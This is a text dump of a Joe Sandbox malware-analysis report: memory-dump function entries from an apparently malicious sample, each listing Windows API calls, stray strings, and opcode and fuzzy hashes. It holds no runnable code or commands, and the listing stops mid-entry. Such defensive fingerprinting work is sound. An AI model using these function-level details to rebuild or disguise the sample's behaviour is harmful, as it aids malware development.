Source File: 00000000.00000002.4108594367.0000000006F80000.00000040.00000800.00020000.00000000.sdmp, Offset: 06F80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6f80000_173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9.jbxd

Similarity

API ID: CreateWindow
String ID:
API String ID: 716092398-0
Opcode ID: eca83e940e48bb812fa1bbc9e12d2617d2d1355a2ddffd9224e5c720c8c6471d
Instruction ID: ac965f69535619e24f8160f145a452161e993a3126d49a1185ea332218e0720c
Opcode Fuzzy Hash: eca83e940e48bb812fa1bbc9e12d2617d2d1355a2ddffd9224e5c720c8c6471d
Instruction Fuzzy Hash: 5241CEB1D003499FDB14DFA9C984ADEFBB5BF48310F24812AE819AB210D774A885CF91

Function 06F8754C Relevance: 1.6, APIs: 1, Instructions: 97COMMON

Download Yara Rule

APIs

CallWindowProcW.USER32(?,?,?,?,?), ref: 06F88DB1

Memory Dump Source

Source File: 00000000.00000002.4108594367.0000000006F80000.00000040.00000800.00020000.00000000.sdmp, Offset: 06F80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6f80000_173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9.jbxd

Similarity

API ID: CallProcWindow
String ID:
API String ID: 2714655100-0
Opcode ID: 7324f795e098de978b7b19f4bed2a2bae9a71992a0b989b3ce48bd274642f6d8
Instruction ID: 1cce290dcd8572f71b474a825622ab52a6ceaca535dfc17bf156196b56b4a3c2
Opcode Fuzzy Hash: 7324f795e098de978b7b19f4bed2a2bae9a71992a0b989b3ce48bd274642f6d8
Instruction Fuzzy Hash: 42416CB5900205CFDB54DF99C848AAAFBF6FF88314F24C499D519AB321C734A841CFA0

Function 064ABA98 Relevance: 1.6, APIs: 1, Instructions: 62COMMON

Download Yara Rule

APIs

DuplicateHandle.KERNELBASE(?,?,?,?,?,?,?), ref: 064ABB1F

Memory Dump Source

Source File: 00000000.00000002.4108338151.00000000064A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 064A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_64a0000_173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9.jbxd

Similarity

API ID: DuplicateHandle
String ID:
API String ID: 3793708945-0
Opcode ID: 4a1ca12c3502721379f7effcb62c81b629b369c212ac8f8a7f31b894bbfb3298
Instruction ID: 086ffddbc057cab35d5819ad283c25453efc43f7119774d2cb5e57a1a9067770
Opcode Fuzzy Hash: 4a1ca12c3502721379f7effcb62c81b629b369c212ac8f8a7f31b894bbfb3298
Instruction Fuzzy Hash: 6A21C4B5D00259AFDB10CF9AD984ADEFBF4EB48310F14841AE954A7350D378A944CFA5

Function 061C995F Relevance: 1.6, APIs: 1, Instructions: 62libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL(00000000), ref: 061C9AA1

Memory Dump Source

Source File: 00000000.00000002.4108131259.00000000061C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 061C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_61c0000_173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 22440d6298487ca8626a803cc5477718a9f7e5e2f5299386f7d760e26a2f6654
Instruction ID: 40f7a3181b895cb9ddfe24b50a5beb33b63cff3b4b98a6e14ce1221c0ea1353a
Opcode Fuzzy Hash: 22440d6298487ca8626a803cc5477718a9f7e5e2f5299386f7d760e26a2f6654
Instruction Fuzzy Hash: 84117FB4E001099FDB44DFA9D484EADBBB5FB88324F14D968E904E7355DB30E841CB60

Function 063B9BD8 Relevance: 1.6, Strings: 1, Instructions: 306COMMON

Download Yara Rule

Strings

KDBM, xrefs: 063B9C05

Memory Dump Source

Source File: 00000000.00000002.4108169879.00000000063B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 063B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_63b0000_173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9.jbxd

Similarity

API ID:
String ID: KDBM
API String ID: 0-3504354710
Opcode ID: 8540426700c80717b141773c4fad81158aba02a47738fe7ef00ce3b79f4fe9aa
Instruction ID: 179c3c1481147b57ddba7fc39b388d3b5d3ba4c623bb2e0b8d1bb514de8211a8
Opcode Fuzzy Hash: 8540426700c80717b141773c4fad81158aba02a47738fe7ef00ce3b79f4fe9aa
Instruction Fuzzy Hash: 79E10670A002298FDBA4DF68D850BDDBBB2FB89300F0095E9E509A7395DB745E85CF90

Function 06F845C8 Relevance: 1.5, APIs: 1, Instructions: 47COMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(00000000), ref: 06F8462E

Memory Dump Source

Source File: 00000000.00000002.4108594367.0000000006F80000.00000040.00000800.00020000.00000000.sdmp, Offset: 06F80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6f80000_173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9.jbxd

Similarity

API ID: HandleModule
String ID:
API String ID: 4139908857-0
Opcode ID: 6081a2e59d41c9dee59bed2cbac081605cb623535503d76264af107880128c9c
Instruction ID: 34ff90a74b6a6ae25e3f6aea8dd765dea4cbaf6582a2099322bd40377f09c9eb
Opcode Fuzzy Hash: 6081a2e59d41c9dee59bed2cbac081605cb623535503d76264af107880128c9c
Instruction Fuzzy Hash: 34112EB6C006498FCB10DF9AD844BDEFBF4EF89324F10846AD828A7210D378A545CFA5

Function 00401870 Relevance: 1.5, APIs: 1, Instructions: 33memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 0040AF66: _malloc.LIBCMT ref: 0040AF80

SysAllocString.OLEAUT32 ref: 00401898

Memory Dump Source

Source File: 00000000.00000002.4103914064.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.4103897598.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4103935605.000000000041B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4103950895.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4103950895.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4103950895.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4103996215.0000000000436000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9.jbxd

Similarity

API ID: AllocString_malloc
String ID:
API String ID: 959018026-0
Opcode ID: 2b2277ba2f7599175ad158743716730806d9da3e8ba5769d67c84622d6ab0768
Instruction ID: c2922591c351a4c461934d9b8210169c8be4224f150a02a6988c85a72df9e820
Opcode Fuzzy Hash: 2b2277ba2f7599175ad158743716730806d9da3e8ba5769d67c84622d6ab0768
Instruction Fuzzy Hash: BEF02073501322A7E3316B658841B47B6E8DF80B28F00823FFD44BB391D3B9C85082EA

Function 0040D534 Relevance: 1.5, APIs: 1, Instructions: 20memoryCOMMON

Download Yara Rule

APIs

HeapCreate.KERNEL32(00000000,00001000,00000000), ref: 0040D549

Memory Dump Source

Source File: 00000000.00000002.4103914064.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.4103897598.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4103935605.000000000041B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4103950895.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4103950895.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4103950895.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4103996215.0000000000436000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9.jbxd

Similarity

API ID: CreateHeap
String ID:
API String ID: 10892065-0
Opcode ID: b92e553731a4154449cde6b8e59536b0b0aa674871376bfeaf174e1f515a675d
Instruction ID: a29dbb507fbbbc11cf477c5ad410ace9233c9b691e3651c0b65acef059567112
Opcode Fuzzy Hash: b92e553731a4154449cde6b8e59536b0b0aa674871376bfeaf174e1f515a675d
Instruction Fuzzy Hash: E8D05E36A54348AADB11AFB47C08B623BDCE388396F404576F80DC6290F678D641C548

Function 063BA4FA Relevance: 1.4, Strings: 1, Instructions: 148COMMON

Download Yara Rule

Strings

nKvq, xrefs: 063BA5A1

Memory Dump Source

Source File: 00000000.00000002.4108169879.00000000063B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 063B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_63b0000_173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9.jbxd

Similarity

API ID:
String ID: nKvq
API String ID: 0-3625296599
Opcode ID: 97479cf1722093c10daa02d5dc45a961904baf270110b9985001e32dc920a8a5
Instruction ID: a78bf5624086cee22bcbf154be6cdd5c4d5f00745c62c3a4c1c0ea1c075a235e
Opcode Fuzzy Hash: 97479cf1722093c10daa02d5dc45a961904baf270110b9985001e32dc920a8a5
Instruction Fuzzy Hash: B061B374E00219DFDB44DFA9D954AEEBBB2FF88300F10842AE909AB354DB355A45CF90

Function 0219B400 Relevance: 1.4, Strings: 1, Instructions: 124COMMON

Download Yara Rule

Strings

(o^q, xrefs: 0219B589

Memory Dump Source

Source File: 00000000.00000002.4104668370.0000000002190000.00000040.00000800.00020000.00000000.sdmp, Offset: 02190000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2190000_173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9.jbxd

Similarity

API ID:
String ID: (o^q
API String ID: 0-74704288
Opcode ID: 7bcd6905ffbc7b6a222cb0a018f41448b099c9311cefa13608469124cdab4f89
Instruction ID: b49332749a508c32e9498e3c2b98b04639fdf937b53f2f3880af1047acae3efd
Opcode Fuzzy Hash: 7bcd6905ffbc7b6a222cb0a018f41448b099c9311cefa13608469124cdab4f89
Instruction Fuzzy Hash: FF41D231B442449FCB199F68D8546AE7BB6AFC9310F148469E906DB391CF319D16CBA0

Function 0219E55B Relevance: .7, Instructions: 652COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.4104668370.0000000002190000.00000040.00000800.00020000.00000000.sdmp, Offset: 02190000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2190000_173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fc2480824fc076cb46ee0efb4e0bf820533185a7bd4244b8da8513f0ab338cac
Instruction ID: a75498178f1b81e095940df0496d917ed759366abcbde0409713901208d29d45
Opcode Fuzzy Hash: fc2480824fc076cb46ee0efb4e0bf820533185a7bd4244b8da8513f0ab338cac
Instruction Fuzzy Hash: 6012A9749753468F92882F32A6AE56EBEA1FB4F36B7016D41F29F84404CF301598CF68

Function 0219E568 Relevance: .6, Instructions: 649COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.4104668370.0000000002190000.00000040.00000800.00020000.00000000.sdmp, Offset: 02190000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2190000_173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1b15ade421e023776f75329c99fde5a23a6d2cc703adc435e1bf878964f05e21
Instruction ID: edb737d4f074b046e0a64d2a8b41a8e9ade6250b7bdfff3032b34dffca300035
Opcode Fuzzy Hash: 1b15ade421e023776f75329c99fde5a23a6d2cc703adc435e1bf878964f05e21
Instruction Fuzzy Hash: 471298749753468F92882F32A6AE56EBEA1FB4F36B7016D41F29F84404CF301598CF68

Function 0219B5C8 Relevance: .4, Instructions: 413COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.4104668370.0000000002190000.00000040.00000800.00020000.00000000.sdmp, Offset: 02190000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2190000_173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 306b5af4663bd901ef14bb10b8f2dfd66d9544c79f6c6cf539519209c00f695f
Instruction ID: 0aedf0bb86bc15e4a149123cbb823aa0ab978915e44fc9577a12155f76fccf05
Opcode Fuzzy Hash: 306b5af4663bd901ef14bb10b8f2dfd66d9544c79f6c6cf539519209c00f695f
Instruction Fuzzy Hash: 2CF11975A54614CFCF04CF68D588AADBBF2FF88318B1A80A9E515AB361DB31ED41CB50

Function 02190890 Relevance: .3, Instructions: 289COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.4104668370.0000000002190000.00000040.00000800.00020000.00000000.sdmp, Offset: 02190000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2190000_173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5c4d61e4432b22752c53e6b56673c95036cbfeef9c6726e24f9334df04c89f79
Instruction ID: e5a276442bee248ed01ea145a02c651aedc300031c8b852265a8a045b2771123
Opcode Fuzzy Hash: 5c4d61e4432b22752c53e6b56673c95036cbfeef9c6726e24f9334df04c89f79
Instruction Fuzzy Hash: D0B117347406108FD754DF39C998A297BE2FF89714B2585A8E51ACB3B5DB31EC45CB80

Function 02190881 Relevance: .2, Instructions: 247COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.4104668370.0000000002190000.00000040.00000800.00020000.00000000.sdmp, Offset: 02190000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2190000_173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b9ec132fc4bec978d0a2c29ad6e6d7917d4382e3237504281955afeea04317f1
Instruction ID: be873c53411f3b5e8f25da5f93d4945c65ff0e51f0203c0bc0a56745791358a4
Opcode Fuzzy Hash: b9ec132fc4bec978d0a2c29ad6e6d7917d4382e3237504281955afeea04317f1
Instruction Fuzzy Hash: A9A1E4347506008FD754EF39C598A2ABBE2FF89714B2584A8E50ACB775DB31EC41CB90

Function 063B9CC0 Relevance: .2, Instructions: 242COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.4108169879.00000000063B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 063B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_63b0000_173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fa0391c4c136ec971adc553b72ccdc33b96d03a22b4a4e773a11b6e1b99c3603
Instruction ID: eae0197aa00cadd0110813b319517c508337d7a41cdb7cc827e067839cf7fabf
Opcode Fuzzy Hash: fa0391c4c136ec971adc553b72ccdc33b96d03a22b4a4e773a11b6e1b99c3603
Instruction Fuzzy Hash: E0C1A070E012298FDBA4DF69C850BDEBBB2BB89300F1085E9E54DA7290DB745E85CF51

Function 063B9CD0 Relevance: .2, Instructions: 234COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.4108169879.00000000063B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 063B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_63b0000_173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: da66b6a0f42607600f65fb170760f86b5686542df344abfaecbf90ca4e1805ee
Instruction ID: 1c61c979adaf283b5d45588dd1915ac17c312e34bb475f2d71b20117615ac236
Opcode Fuzzy Hash: da66b6a0f42607600f65fb170760f86b5686542df344abfaecbf90ca4e1805ee
Instruction Fuzzy Hash: C2B19070E012298FDBA4DF69C854BDDBBB2BB89300F1085E9E60DA7290DB745E85CF51

Function 021985F0 Relevance: .2, Instructions: 201COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.4104668370.0000000002190000.00000040.00000800.00020000.00000000.sdmp, Offset: 02190000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2190000_173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 600dfd3fc57c00213ba73ad465b59cceb934c8372fa7037a74234a97c7a7e322
Instruction ID: fa5593472f5510981c88b255ba42eca657609e78c1badb7b5ab1f16adaae3694
Opcode Fuzzy Hash: 600dfd3fc57c00213ba73ad465b59cceb934c8372fa7037a74234a97c7a7e322
Instruction Fuzzy Hash: 2E715E347802458FCF19DF29C898A6E7BE6AF4A744F1640A9E902CB3B1DB71DC51CB91

Function 0641DD49 Relevance: .2, Instructions: 185COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.4108188713.0000000006410000.00000040.00000800.00020000.00000000.sdmp, Offset: 06410000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6410000_173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6c1316465e1c34ff58788dd67c5ce734b5c97d5a1a489dd8ebc4627788a40619
Instruction ID: 0ca3a3d405b10d0691a6aa2a218777a1ffb87fd07e35dcedec1f85cb987e31cc
Opcode Fuzzy Hash: 6c1316465e1c34ff58788dd67c5ce734b5c97d5a1a489dd8ebc4627788a40619
Instruction Fuzzy Hash: DF819074E412689FDBA5DF29D890BDDBBB2BF89300F1080EAD949A7254DB315E81CF44

Function 063B9958 Relevance: .2, Instructions: 178COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.4108169879.00000000063B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 063B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_63b0000_173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5109bfc7385895e740017a69972e3181199a90696646b19152e5f1aa984de88e
Instruction ID: 8ada81a9cd23bf24401f83521de1d716484c961c77ec373f510940c39eceed08
Opcode Fuzzy Hash: 5109bfc7385895e740017a69972e3181199a90696646b19152e5f1aa984de88e
Instruction Fuzzy Hash: 4E61E574E012089FDB44DFE9D990BDDBBF2AF89310F14D429EA08AB795DA309941CF51

Function 063B9968 Relevance: .2, Instructions: 176COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.4108169879.00000000063B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 063B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_63b0000_173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ab81610a68e0f1ba095d3119278ddd83ade76d09a58b5fa0aff6a42738b67331
Instruction ID: 03280d8312b1de535182398b0b88f0011f9e25fbcd7c145b83075cf983a6c8cd
Opcode Fuzzy Hash: ab81610a68e0f1ba095d3119278ddd83ade76d09a58b5fa0aff6a42738b67331
Instruction Fuzzy Hash: 0561D474E012089FDB44DFE9D990BDDBBF2AF89310F14E429EA08EB795DA3099418F54

Function 063B9962 Relevance: .2, Instructions: 176COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.4108169879.00000000063B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 063B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_63b0000_173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 95553ada99c0245ae0224671c6bcafc33f0d36ab5a8d4d09473a3ccb0f1f6beb
Instruction ID: 528a9bf6845a5519aa13283a6e0ba62dc1c075992313d9bb8571eccdb90c1908
Opcode Fuzzy Hash: 95553ada99c0245ae0224671c6bcafc33f0d36ab5a8d4d09473a3ccb0f1f6beb
Instruction Fuzzy Hash: DF61E574E012089FDB44DFE9D990BDDBBF2AF89310F14D429EA08EB799DA3099418B50

Function 0641DA58 Relevance: .2, Instructions: 173COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.4108188713.0000000006410000.00000040.00000800.00020000.00000000.sdmp, Offset: 06410000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6410000_173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 42edb795eba4a21e217ef93d6204b07c39049b48d5d00dc68137f4685e739784
Instruction ID: 5b3692c604493d0b26f71f0664a99e6d01a87e359330bd3bd9e170cfa49ab8e0
Opcode Fuzzy Hash: 42edb795eba4a21e217ef93d6204b07c39049b48d5d00dc68137f4685e739784
Instruction Fuzzy Hash: 3F71C074E00208CFDB58DFA5D990AADBBB6FF89300F24952AD415BB358DB359982CF50

Function 06417A28 Relevance: .2, Instructions: 173COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.4108188713.0000000006410000.00000040.00000800.00020000.00000000.sdmp, Offset: 06410000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6410000_173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 566cf7e0d56059730111798a72953e80ab526d9a35ee83debbb976454bc93613
Instruction ID: 82c97f1f7d22be785c0b7e603a63985bc352132f979a7aa6485db2deea314d03
Opcode Fuzzy Hash: 566cf7e0d56059730111798a72953e80ab526d9a35ee83debbb976454bc93613
Instruction Fuzzy Hash: 2A71B174E00208CFDB58DFA5D990AEDBBB6FF89300F24952AD415AB358DB359942CF50

Function 06462B50 Relevance: .2, Instructions: 173COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.4108280764.0000000006460000.00000040.00000800.00020000.00000000.sdmp, Offset: 06460000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6460000_173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bfcc22703c039587c1d1ae07ef597189df566200a386f77a8ae07080bfb0cca0
Instruction ID: 2ffcf83cf7af0c4e82d3a9527a6e51e3b67a1f88bf16add9c1b1aa01f27b82d4
Opcode Fuzzy Hash: bfcc22703c039587c1d1ae07ef597189df566200a386f77a8ae07080bfb0cca0
Instruction Fuzzy Hash: 8471C374E00208DFDB58DFA5D9906AEBBB2FF89300F24912AD415BB358DB359A42CF51

Function 06468B80 Relevance: .2, Instructions: 173COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.4108280764.0000000006460000.00000040.00000800.00020000.00000000.sdmp, Offset: 06460000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6460000_173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0183e18ab0100648271ee2a199ec4f2fc292e6c448957c448f96d0b3f8963c4f
Instruction ID: be769ea837808a7adc8ac7b7805a1d3a5741637cfc83db23e74cd2074b341263
Opcode Fuzzy Hash: 0183e18ab0100648271ee2a199ec4f2fc292e6c448957c448f96d0b3f8963c4f
Instruction Fuzzy Hash: 6971B374E00208CFDB58DFA9D9906ADBBB2FF89300F24912AD415BB354DB359946CF50

Function 0219FBA8 Relevance: .2, Instructions: 153COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.4104668370.0000000002190000.00000040.00000800.00020000.00000000.sdmp, Offset: 02190000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2190000_173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8ca38c57c7ea32c0942c26fefaa26b252a1be35c538abb5f277f9b31027fc7ca
Instruction ID: d8b05515fafd63e5107f90286654f64c770a36233b052caddc7e2c9fa39d9830
Opcode Fuzzy Hash: 8ca38c57c7ea32c0942c26fefaa26b252a1be35c538abb5f277f9b31027fc7ca
Instruction Fuzzy Hash: 5D610174D00218DFDB18DFA5D994AEDBBB2FF88305F208529D809AB394DB355A86CF40

Function 0641ED40 Relevance: .2, Instructions: 151COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.4108188713.0000000006410000.00000040.00000800.00020000.00000000.sdmp, Offset: 06410000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6410000_173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3a40cca900d558aebc081b5c730204ce03148c0d2a0512f5e54547c070a5d627
Instruction ID: 357be684740cb16b14ef994e1d566769b2a82e7103e645e20f730816ee830600
Opcode Fuzzy Hash: 3a40cca900d558aebc081b5c730204ce03148c0d2a0512f5e54547c070a5d627
Instruction Fuzzy Hash: 0C51F739A04116DFD798DF68E88497A73B2FF8835475148A6EC169F369C734EC42CB90

Function 063BA160 Relevance: .1, Instructions: 141COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.4108169879.00000000063B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 063B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_63b0000_173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d0a5784d5239325dd789f63b5ef32645ff93ca70f1890ae42374cec26ee47260
Instruction ID: 3d0be064fac70ed0bba93d5281fa08d9106dc806ba40435667132310c2d5b54e
Opcode Fuzzy Hash: d0a5784d5239325dd789f63b5ef32645ff93ca70f1890ae42374cec26ee47260
Instruction Fuzzy Hash: 1651D374E00219CFCB44DFA9D4956EEBBF2FF88300F24842AD509AB394DB345A45CB94

Function 0219DA90 Relevance: .1, Instructions: 141COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.4104668370.0000000002190000.00000040.00000800.00020000.00000000.sdmp, Offset: 02190000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2190000_173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 44267ba039982742e1c08719e4407c3ef8888d292b787f66a0f10ff2067d4dc0
Instruction ID: d7daf35bc126798a50f07dd95dd8744707169769d8123dd0bdad3abbb7dec612
Opcode Fuzzy Hash: 44267ba039982742e1c08719e4407c3ef8888d292b787f66a0f10ff2067d4dc0
Instruction Fuzzy Hash: BC51A274E012189FDB48DFA9D99499DBBF2FF89300F248069E819AB365DB30A905CF40

Function 021946A8 Relevance: .1, Instructions: 136COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.4104668370.0000000002190000.00000040.00000800.00020000.00000000.sdmp, Offset: 02190000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2190000_173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 448035edf889ffa2ae2e314fdf4aba131b00b304470f7dfa44777ac0761f43c7
Instruction ID: 7cd153ca7a3fd57028517f5bad2bc4bc7d77f3c4d4d8f42a4ec4f2c26f3cd536
Opcode Fuzzy Hash: 448035edf889ffa2ae2e314fdf4aba131b00b304470f7dfa44777ac0761f43c7
Instruction Fuzzy Hash: 4E51B874E01208DFCB48DFA9D48489DBBF2FF89314B209469E815AB365DB35AD46CF50

Function 06462B40 Relevance: .1, Instructions: 126COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.4108280764.0000000006460000.00000040.00000800.00020000.00000000.sdmp, Offset: 06460000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6460000_173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 40c0f3e0069676359afd3f4a2e7250454d9d02030d59aa85a8e4913b25bf2b11
Instruction ID: fbd09a510a690983810eaa44ac3060fbe7f3bc6b0f8a4d3100314cda90d7109a
Opcode Fuzzy Hash: 40c0f3e0069676359afd3f4a2e7250454d9d02030d59aa85a8e4913b25bf2b11
Instruction Fuzzy Hash: 92411870E012089FDB84DFAAD9406EEBBF2EF89300F24902AE418B7354DB755A42CF55

Function 063B8EC8 Relevance: .1, Instructions: 123COMMON

Download Yara Rule

Memory Dump Source

